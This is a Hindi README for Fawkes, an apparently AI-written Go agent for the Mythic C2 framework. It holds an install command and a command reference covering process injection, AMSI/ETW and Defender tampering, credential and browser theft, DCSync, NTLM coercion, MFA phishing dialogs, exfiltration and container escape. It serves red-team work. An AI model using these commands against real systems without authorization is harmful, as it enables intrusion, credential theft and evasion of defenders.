Fawkes एक golang Mythic C2 Agent है जो पूरी तरह से AI द्वारा लिखा गया है।
# Fawkes Mythic C2 Agent
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes एक पूरी तरह से वाइब-कोडेड Mythic C2 एजेंट है। यह एक "मुझे आश्चर्य है" के रूप में शुरू हुआ और एक लक्ष्य में बदल गया है। मेरा लक्ष्य इस एजेंट के लिए एक भी लाइन कोड नहीं लिखना है, बल्कि इसे विशेष रूप से एक प्रॉम्प्ट पर तैयार करना है।
मैंने मूल रूप से स्वयं एजेंट लिखने का प्रयास किया, लेकिन उदाहरण कंटेनर को क्लोन करने, mythic दस्तावेज़ पढ़ने, डेव सीरीज़ YouTube वीडियो देखने, और Merlin या Freyja जैसे अन्य एजेंटों से कोड कॉपी करने के बाद, मैंने तय किया कि मेरे पास अपना स्वयं का एजेंट विकसित करने का समय नहीं है। हालांकि एक प्रॉम्प्ट, उसके लिए मेरे पास समय है।
Fawkes एक golang-आधारित एजेंट है जिसमें क्रॉस-प्लेटफ़ॉर्म क्षमताएँ हैं। यह **Windows** (EXE, DLL, और शेलकोड पेलोड), **Linux** (ELF बाइनरी और साझा लाइब्रेरीज़), और **macOS** (Intel और Apple Silicon के लिए Mach-O बाइनरी) का समर्थन करता है। **कुल 213 कमांड**: 113 क्रॉस-प्लेटफ़ॉर्म, 82 केवल Windows, 21 केवल Unix, 11 केवल Linux, और 6 केवल macOS (कुछ कमांड में प्लेटफ़ॉर्म-विशिष्ट कार्यान्वयन होते हैं जो एक ही उपयोगकर्ता-सामना वाले नाम साझा करते हैं, जैसे screenshot)। आंतरिक पिवोटिंग के लिए HTTP एग्रेस और TCP पीयर-टू-पीयर (P2P) लिंकिंग का समर्थन करता है।
## स्थापना
Fawkes को स्थापित करने के लिए, आपको एक दूरस्थ कंप्यूटर पर Mythic स्थापित करने की आवश्यकता होगी। आप [Mythic प्रोजेक्ट पेज](https://github.com/its-a-feature/Mythic/) पर Mythic के लिए स्थापना निर्देश पा सकते हैं।
Mythic स्थापना निर्देशिका से:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## कमांड्स त्वरित संदर्भCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active Directory ऑब्जेक्ट DACLs पढ़ें/संशोधित करें (ACEs जोड़ें/हटाएं, DCSync, GenericAll, बैकअप/रीस्टोर दें)। क्रॉस-प्लेटफ़ॉर्म (T1222.001, T1098, T1003.006)।
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | AD प्रमाणपत्र सेवाएं गणना करें, संवेदनशील टेम्पलेट खोजें (ESC1-ESC4, DCOM के माध्यम से ESC6), DCOM के माध्यम से ESC1/ESC6 शोषण के लिए प्रमाणपत्र अनुरोध करें, या स्वचालित शोषण (खोजें → पार्स करें → अनुरोध श्रृंखला)। क्रॉस-प्लेटफ़ॉर्म (T1649)।
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(केवल विंडोज)** NTFS वैकल्पिक डेटा स्ट्रीम प्रबंधित करें — छिपे हुए डेटा स्ट्रीम लिखें, पढ़ें, सूचीबद्ध करें या हटाएं। टेक्स्ट और हेक्स-एन्कोडेड बाइनरी का समर्थन करता है। MITRE T1564.004।
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | फोरेंसिक निष्पादन कलाकृतियों को क्वेरी और साफ करें। विंडोज: Shimcache. लिनक्स: recently-used.xbel, थंबनेल, Tracker. मैकओएस: हाल की वस्तुएं, KnowledgeC, क्वारंटीन (T1070.004)।
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(केवल विंडोज)** रिमोट प्रक्रिया इंजेक्शन। `-method apc` (डिफ़ॉल्ट) NtQueueApcThread के माध्यम से शेलकोड को एक सतर्क थ्रेड में कतारबद्ध करता है (एक खोजने के लिए `ts` का उपयोग करें)। `-method hwbp` DebugActiveProcess के माध्यम से जुड़ता है, एक लक्ष्य API पर एक DR0 हार्डवेयर ब्रेकपॉइंट सेट करता है (डिफ़ॉल्ट `ntdll!NtDelayExecution`), और ब्रेकपॉइंट फायर होने पर Rip को शेलकोड पर रीडायरेक्ट करता है — कोई TID आवश्यक नहीं, कोई APC कतार नहीं, कोई CreateRemoteThread नहीं (T1055.004, T1055)।
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | माइक्रोफोन से ऑडियो रिकॉर्ड करें और WAV फ़ाइल अपलोड करें। विंडोज (waveIn), लिनक्स (arecord/parecord), मैकओएस (rec/ffmpeg). क्रॉस-प्लेटफ़ॉर्म (T1123)।
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(केवल विंडोज)** विंडोज ऑडिट नीतियों को क्वेरी और संशोधित करें। संवेदनशील संचालन से पहले सुरक्षा ईवेंट लॉगिंग अक्षम करें। स्टेल्थ मोड डिटेक्शन-महत्वपूर्ण उपश्रेणियों को अक्षम करता है। AuditQuerySystemPolicy API का उपयोग करता है (T1562.002)।
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(केवल विंडोज)** स्पूफ़ किए गए प्रक्रिया तर्कों के साथ एक कमांड निष्पादित करें। Sysmon Event ID 1 और EDR कमांड-लाइन टेलीमेट्री को विफल करता है (T1564.010)।
arp | `arp [-ip <subnet>]` or `arp -action spoof -target <IP> -gateway <IP>` | फ़िल्टरिंग के साथ ARP तालिका प्रदर्शित करें, या MITM स्थिति के लिए ARP कैश विषाक्तता (T1557.002). स्पूफ़: केवल लिनक्स, सफाई पर पुनर्स्थापित करता है।
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | बिना पूर्व-प्रमाणीकरण वाले खातों के लिए AS-REP टिकट का अनुरोध करें और ऑफ़लाइन क्रैकिंग के लिए हैशकैट प्रारूप में हैश निकालें। LDAP के माध्यम से स्वचालित गणना। क्रॉस-प्लेटफ़ॉर्म (T1558.004)।
av-detect | `av-detect [-deep true]` | 130+ हस्ताक्षर डेटाबेस के विरुद्ध चल रही प्रक्रियाओं को स्कैन करके स्थापित AV/EDR/सुरक्षा उत्पादों का पता लगाएं। `--deep` के साथ, स्थापित-लेकिन-चालू-नहीं उत्पादों के लिए कर्नेल मॉड्यूल, systemd यूनिट्स और कॉन्फिग डायरेक्टरी की भी जांच करता है (लिनक्स)। उत्पाद, विक्रेता, प्रकार और PID रिपोर्ट करता है। क्रॉस-प्लेटफ़ॉर्म।
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(केवल विंडोज)** निकटतम रिटर्न (C3) निर्देश पर कूदकर स्वचालित रूप से एक फ़ंक्शन को पैच करें। AMSI/ETW बायपास के लिए उपयोगी।
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | डेटा एन्कोडिंग टूलकिट: base64, XOR (स्ट्रिंग/हेक्स कुंजी के साथ), हेक्स, ROT13, URL प्रतिशत-एन्कोडिंग, सीज़र सिफर। सभी फ़ाइल I/O का समर्थन करते हैं। क्रॉस-प्लेटफ़ॉर्म (T1132.001, T1140, T1027)।
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(केवल विंडोज)** स्थिरता और गुप्त फ़ाइल डाउनलोड के लिए BITS स्थानांतरण कार्य प्रबंधित करें। कार्य बनाएं, निलंबित करें, फिर से शुरू करें, पूर्ण करें और स्थिरता के लिए अधिसूचना कमांड सेट करें। कार्य रिबूट से बचे रहते हैं (T1197)।
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Chromium, Firefox और Safari से ब्राउज़र डेटा एकत्र करें। इतिहास, ऑटोफिल, बुकमार्क, डाउनलोड क्रॉस-प्लेटफ़ॉर्म। पासवर्ड: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (key4.db NSS डिक्रिप्शन), Safari (macOS Keychain)। सभी प्लेटफ़ॉर्म पर Firefox कुकीज़। MITRE T1555.003, T1217।
cat | `cat <file>` or `cat -path <file> -start N -end N -number true` | वैकल्पिक पंक्ति श्रेणी, क्रमांकन और 5MB आकार सुरक्षा के साथ फ़ाइल सामग्री प्रदर्शित करें।
cd | `cd <directory>` | वर्तमान कार्यशील निर्देशिका बदलें।
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | ऑक्टल (755, 644) या प्रतीकात्मक (+x, u+rw, go-w) संकेतन के साथ फ़ाइल/निर्देशिका अनुमतियाँ संशोधित करें। पुनरावर्ती समर्थन। क्रॉस-प्लेटफ़ॉर्म (T1222)।
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(केवल लिनक्स/मैकओएस)** उपयोगकर्ता नाम/UID और समूह नाम/GID द्वारा फ़ाइल/निर्देशिका स्वामित्व बदलें। पुनरावर्ती समर्थन (T1222)।
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | रिमोट होस्ट पर TLS प्रमाणपत्रों का निरीक्षण करें — CA, स्व-हस्ताक्षरित प्रमाणपत्र, समाप्ति, SANs, TLS संस्करण, सिफर सूट और SHA256 फिंगरप्रिंट की पहचान करता है। क्रॉस-प्लेटफ़ॉर्म (T1590.001)।
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(केवल विंडोज)** कोड साइनिंग प्रमाणपत्र, क्लाइंट प्रमाणीकरण प्रमाणपत्र और निजी कुंजी खोजने के लिए विंडोज प्रमाणपत्र स्टोर गणना करें। CurrentUser और LocalMachine खोजता है। MITRE T1552.004, T1649।
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | क्लिपबोर्ड पढ़ें/लिखें या क्रेडेंशियल पैटर्न पहचान के साथ परिवर्तनों की लगातार निगरानी करें। क्रॉस-प्लेटफ़ॉर्म (T1115)।
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | क्लाउड मेटाडेटा, क्रेडेंशियल निष्कर्षण, IAM गणना, स्टोरेज गणना, स्थिरता और गुप्त स्टोर एक्सेस। storage/aws-s3/azure-blob/gcp-gcs: नमूना ऑब्जेक्ट के साथ बकेट/कंटेनर गणना। aws-ssm: डिक्रिप्शन के साथ SSM पैरामीटर स्टोर। azure-keyvault: प्रबंधित पहचान के माध्यम से Key Vault रहस्य। gcp-secrets: सेवा खाते के माध्यम से सीक्रेट मैनेजर। aws-persist/azure-persist: दीर्घकालिक एक्सेस कुंजी/ऐप पंजीकरण बनाएं। स्वचालित पहचान। IMDSv2. क्रॉस-प्लेटफ़ॉर्म (T1552.005, T1580, T1530, T1098.001)।
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | आर्काइव बनाएं, सूचीबद्ध करें, निकालें, स्टेज या एक्सफिल करें। Stage AES-256-GCM के साथ एन्क्रिप्ट करता है। Exfil Mythic को स्थानांतरित करता है। exfil-https: चंक्ड अपलोड, कस्टम हेडर, जिटर के साथ S3/Azure/GCS प्री-साइन URL पर अपलोड करें। exfil-github: GitHub कंटेंट API के माध्यम से एक्सफिल करें। क्रॉस-प्लेटफ़ॉर्म (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001)।
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce) के माध्यम से NTLM प्रमाणीकरण ज़बरदस्ती। लक्ष्य को अटैकर लिसनर पर प्रमाणित करने के लिए मजबूर करता है। पास-द-हैश समर्थन। क्रॉस-प्लेटफ़ॉर्म (T1187)।
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | रनटाइम एजेंट कॉन्फ़िगरेशन देखें या संशोधित करें, या एजेंट बाइनरी को स्वयं-अपडेट करें। `show`/`set`: sleep, jitter, kill date, कार्य घंटे। `update`: Mythic से नया पेलोड डाउनलोड करें, सत्यापित करें, लॉन्च करें और वर्तमान एजेंट से बाहर निकलें। क्रॉस-प्लेटफ़ॉर्म (T1105)।
container-detect | `container-detect` | कंटेनर रनटाइम और वातावरण का पता लगाएं (Docker, K8s, LXC, Podman, WSL)। डॉकर सॉकेट और K8s सेवा खातों जैसे एस्केप वैक्टर की जांच करता है। क्रॉस-प्लेटफ़ॉर्म (T1082, T1497.001)।
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(केवल लिनक्स)** कंटेनर ब्रेकआउट + K8s ऑपरेशन — डॉकर सॉकेट, cgroup, nsenter, होस्ट डिवाइस माउंट। K8s: पॉड/सेवाएं गणना करें, रहस्य पढ़ें, **k8s-rbac**: ClusterRole/RoleBinding स्वीप + विशेषाधिकार-वृद्धि पथ स्कोरिंग (crit/warn/info), **k8s-nodes**: क्लस्टर नोड हमला सतह (kubelet/OS/kernel/CIDR/taints/roles), **k8s-etcd**: कंट्रोल-प्लेन पॉड आर्ग्स से etcd क्लाइंट एंडपॉइंट खोजें + प्रति एंडपॉइंट अनप्रमाणित `/version` जांच (अनप्रमाणित पढ़ना = पूर्ण क्लस्टर समझौता), API के माध्यम से पॉड डिफ़ॉइ/एक्सेक करें। **आउट-ऑफ-क्लस्टर**: `-kubeconfig` चुराए गए kubeconfig फ़ाइलों को स्वीकार करता है (गैर-कंटेनर होस्ट से K8s एक्सेस के लिए) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004)।
cp | `cp <source> <destination>` | किसी फ़ाइल को स्रोत से गंतव्य पर कॉपी करें।
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | लक्ष्य होस्ट पर SMB, WinRM और LDAP के विरुद्ध क्रेडेंशियल का परीक्षण करें। `verify-all` सभी वॉल्ट क्रेडेंशियल्स का समानांतर में खोजे गए होस्ट के विरुद्ध परीक्षण करता है। क्रॉस-प्लेटफ़ॉर्म (T1110.001, T1078)।
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | क्रेडेंशियल एकत्र करें: छाया हैश (Unix), क्लाउड कॉन्फ़िग (AWS/GCP/Azure/K8s), एप्लिकेशन रहस्य, लीक पासवर्ड/टोकन/API कुंजी के लिए शेल हिस्ट्री स्कैनिंग, पावरशेल हिस्ट्री + एनवी वेर + RDP (विंडोज), TokenBroker/Teams/Outlook से M365 OAuth/JWT टोकन (विंडोज), **browser-live**: चल रहे Chrome/Edge से Chrome DevTools Protocol (CDP) के माध्यम से लाइव कुकीज़, localStorage, sessionStorage चुराएं। **dump-all**: स्वचालित उपकार्य श्रृंखला — hashdump + lsa-secrets + cred-harvest सभी समानांतर में चलाता है (विंडोज). क्रॉस-प्लेटफ़ॉर्म (T1552, T1003.008, T1528, T1539)।
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | मूल क्रेडेंशियल डायलॉग प्रदर्शित करें, OAuth डिवाइस कोड फ़्लो का दुरुपयोग करें, या MFA कोड फ़िश करें। dialog: macOS AppleScript, विंडोज CredUI, लिनक्स zenity/kdialog. device-code: टोकन कैप्चर के लिए Azure AD OAuth डिवाइस कोड फ़्लो। mfa-phish: TOTP कोड कैप्चर करने के लिए नकली MFA सत्यापन डायलॉग। क्रॉस-प्लेटफ़ॉर्म (T1056.002, T1621, T1111)।
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP अनुरोध + फ़ाइल अपलोड एक्सफिल्ट्रेशन (T1567). S3 प्री-साइन URL, Azure SAS, सामान्य एंडपॉइंट पर अपलोड करें। क्रॉस-प्लेटफ़ॉर्म (T1106, T1567.002)।
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | फ़ाइल पंक्तियों से फ़ील्ड या वर्ण श्रेणियाँ निकालें। कस्टम डिलीमीटर, रेंज स्पेक। क्रॉस-प्लेटफ़ॉर्म (T1083)।
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | प्लेटफ़ॉर्म क्रेडेंशियल स्टोर गणना करें। विंडोज: क्रेडेंशियल मैनेजर + वॉल्ट (CredEnumerateW, vaultcli.dll). लिनक्स: GNOME कीरिंग (secret-tool), KDE KWallet, NetworkManager WiFi/VPN पासवर्ड, GNOME ऑनलाइन खाते। macOS: कीचेन आइटम (सामान्य + इंटरनेट पासवर्ड), WiFi पासवर्ड। `list`=मेटाडेटा, `dump`=रहस्यों के साथ, `vault`=केवल विंडोज। MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(केवल विंडोज)** डिफेंडर प्रबंधित करें — स्थिति, अपवाद, खतरे, रीयल-टाइम सुरक्षा सक्षम/अक्षम करें। MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(केवल विंडोज)** DPAPI ब्लॉब डिक्रिप्शन (CryptUnprotectData), मास्टर की गणना, Chrome/Edge एन्क्रिप्शन की निकासी। MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(केवल विंडोज)** COM के माध्यम से आउटलुक मेलबॉक्स एक्सेस करें। संदेश गिनें, कीवर्ड द्वारा खोजें, अनुक्रमणिका द्वारा पढ़ें, फ़ोल्डर सूचीबद्ध करें। MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(केवल विंडोज)** DCOM के माध्यम से रिमोट होस्ट पर कमांड निष्पादित करें, फ़ाइलें अपलोड करें, या स्टेज-एंड-एक्ज़ीक्यूट करें। `check` RPC/DCOM पूर्वापेक्षाएँ मान्य करता है। upload: certutil/PowerShell स्टेजिंग के माध्यम से फ़ाइलें स्थानांतरित करें। exec-staged: ऑटो-क्लीनअप के साथ अपलोड करें फिर निष्पादित करें। छह COM ऑब्जेक्ट। MITRE T1021.003, T1570.
debug-detect | `debug-detect` | संलग्न डीबगर्स, विश्लेषण उपकरण और इंस्ट्रुमेंटेशन का पता लगाएं। विंडोज: IsDebuggerPresent, NtQueryInformationProcess, PEB, DR रजिस्टर। लिनक्स: TracerPid, LD_PRELOAD, मेमोरी मैप (Frida/Valgrind/sanitizers), VM/sandbox, eBPF निगरानी (Falco/Tetragon/Tracee), auditd फ्रेमवर्क, ptrace स्कोप। macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, VM डिटेक्शन (sysctl), सुरक्षा उत्पाद (EDR/AV), सैंडबॉक्स/विश्लेषण वातावरण। सभी: डीबगर प्रक्रिया स्कैन (T1497.001)।
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — LSASS को छुए बिना DRS के माध्यम से AD क्रेडेंशियल्स को प्रतिकृति करें। `domain-takeover` kerberoast + asrep-roast + dcsync krbtgt/Administrator समानांतर में चलाता है। क्रॉस-प्लेटफ़ॉर्म (T1003.006)।
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | वैकल्पिक डिवाइस, माउंट पॉइंट या fstype फ़िल्टरिंग के साथ फ़ाइलसिस्टम डिस्क स्थान उपयोग रिपोर्ट करें। क्रॉस-प्लेटफ़ॉर्म (T1082)।
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | दो फ़ाइलों की तुलना करें और एकीकृत diff प्रारूप में अंतर दिखाएं। LCS-आधारित एल्गोरिथम कॉन्फ़िगरेबल संदर्भ पंक्तियों के साथ। क्रॉस-प्लेटफ़ॉर्म (T1083)।
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS गणना — होस्ट हल करें, रिकॉर्ड क्वेरी करें, DC खोजें, ज़ोन ट्रांसफर, वाइल्डकार्ड डिटेक्शन, DNS-ओवर-HTTPS स्टील्थ रिज़ॉल्यूशन, DNS एक्सफिल्ट्रेशन। क्रॉस-प्लेटफ़ॉर्म (T1018, T1071.004, T1048.001)।
du | `du -path <file_or_dir> [-max_depth <n>]` | फ़ाइलों और निर्देशिकाओं के लिए डिस्क उपयोग रिपोर्ट करें। उपनिर्देशिका द्वारा आकार विवरण, सबसे बड़े द्वारा क्रमबद्ध। क्रॉस-प्लेटफ़ॉर्म (T1083)।
drivers | `drivers [-filter <name>]` | लोडेड कर्नेल ड्राइवर/मॉड्यूल गणना करें। विंडोज: EnumDeviceDrivers, लिनक्स: /proc/modules, macOS: kext गणना। क्रॉस-प्लेटफ़ॉर्म (T1082)।
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | LDAP के माध्यम से AD पासवर्ड/लॉकआउट नीति और FGPP गणना। स्प्रे-सुरक्षित सुझाव। क्रॉस-प्लेटफ़ॉर्म (T1201)।
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(केवल लिनक्स/मैकओएस)** स्थिरता के लिए क्रॉन जॉब सूचीबद्ध करें, जोड़ें या हटाएं। रॉ क्रॉन एंट्री या प्रोग्राम+शेड्यूल सिंटैक्स का समर्थन करता है।
download | `download <path>` or `download {"path": "/file", "compress": true}` | लक्ष्य से कोई फ़ाइल या निर्देशिका डाउनलोड करें। 1MB से बड़ी फ़ाइलें स्वचालित रूप से gzip के साथ संपीड़ित होती हैं (कॉन्फ़िगरेबल)। निर्देशिकाएं स्वचालित रूप से ज़िप की जाती हैं। SHA256 हैश सत्यापन। चंक्ड ट्रांसफर, फ़ाइल ब्राउज़र एकीकरण।
drives | `drives` | प्रकार, लेबल/डिवाइस और मुक्त/कुल स्थान के साथ उपलब्ध ड्राइव/वॉल्यूम और माउंटेड फ़ाइलसिस्टम सूचीबद्ध करें।
```
---
[Read more](https://github.com/galoryber/fawkes)